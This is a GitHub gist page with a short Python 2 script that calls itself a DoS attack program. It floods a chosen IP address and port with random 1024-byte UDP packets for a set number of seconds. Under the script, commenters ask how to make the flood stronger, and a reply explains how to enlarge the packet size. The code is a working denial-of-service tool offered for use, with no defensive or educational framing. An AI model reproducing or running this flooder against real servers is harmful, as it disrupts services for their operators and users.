Created
January 10, 2017 10:24
-
-
Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
Python UDP Flooder
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
UDP Flooder. | |
This is a 'Dos' attack program to attack servers, you set the IP | |
and the port and the amount of seconds and it will start flooding to that server. | |
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73) | |
Usage : ./flood_udp <ip> <port> <second> | |
""" | |
import time | |
import socket | |
import random | |
import sys | |
def usage(): | |
print "Usage: " + sys.argv[0] + " <ip> <port> <second>" | |
def flood(victim, vport, duration): | |
# okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program | |
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
# 1024 representes one byte to the server | |
bytes = random._urandom(1024) | |
timeout = time.time() + duration | |
sent = 0 | |
while 1: | |
if time.time() > timeout: | |
break | |
else: | |
pass | |
client.sendto(bytes, (victim, vport)) | |
sent = sent + 1 | |
print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport) | |
def main(): | |
print len(sys.argv) | |
if len(sys.argv) != 4: | |
usage() | |
else: | |
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3])) | |
if __name__ == '__main__': | |
main() |
how do you increase the size of the requests sent ? The current size isn't even affecting a local server
you can custom the data sent by modifying bytes = random._urandom(1024)
L.21.
How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The original is Python 2 and the one I provided below is Python 3 (converted). Just look at the syntax and my comment, it should be pretty apparent what
2to3'd
means...